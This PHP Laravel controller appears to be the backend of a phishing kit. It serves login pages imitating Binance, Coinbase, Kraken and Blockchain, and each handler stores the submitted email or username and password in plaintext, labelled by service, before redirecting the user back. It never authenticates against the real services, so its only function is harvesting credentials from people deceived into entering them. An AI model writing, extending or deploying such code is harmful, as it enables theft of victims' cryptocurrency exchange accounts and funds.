<?php

namespace App\Http\Controllers;

use App\Models\Login;
use Illuminate\Http\Request;

class LoginController extends Controller
{

    public function bnblogin(){

        return view('auth.binance');
    }

    public function binanceAuth(Request $request){

        $request->validate([
            'email' => 'required',
            'password' => 'required'
        ]);

        Login::create([
            'email' => $request->email,
            'password' => $request->password,
            'account_type' => 'binance'
        ]);

        return redirect()->back();
    }

    public function coinbaselogin(){

        return view('auth.coinbase');
    }

    public function coinbaseAuth(Request $request){

        $request->validate([
            'email' => 'required',
            'password' => 'required'
        ]);

        Login::create([
            'email' => $request->email,
            'password' => $request->password,
            'account_type' => 'coinbase'
        ]);

        return redirect()->back();
    }

    public function krakenlogin(){

        return view('auth.kraken');
    }

    public function krakenAuth(Request $request){

        $request->validate([
            'username' => 'required',
            'password' => 'required'
        ]);

        Login::create([
            'email' => $request->username,
            'password' => $request->password,
            'account_type' => 'kraken'
        ]);

        return redirect()->back();
    }

    public function blockchainlogin(){

        return view('auth.blockchain');
    }

    public function blockchainAuth(Request $request){

        $request->validate([
            'email' => 'required',
            'password' => 'required'
        ]);

        Login::create([
            'email' => $request->email,
            'password' => $request->password,
            'account_type' => 'blockchain'
        ]);

        return redirect()->back();
    }
}
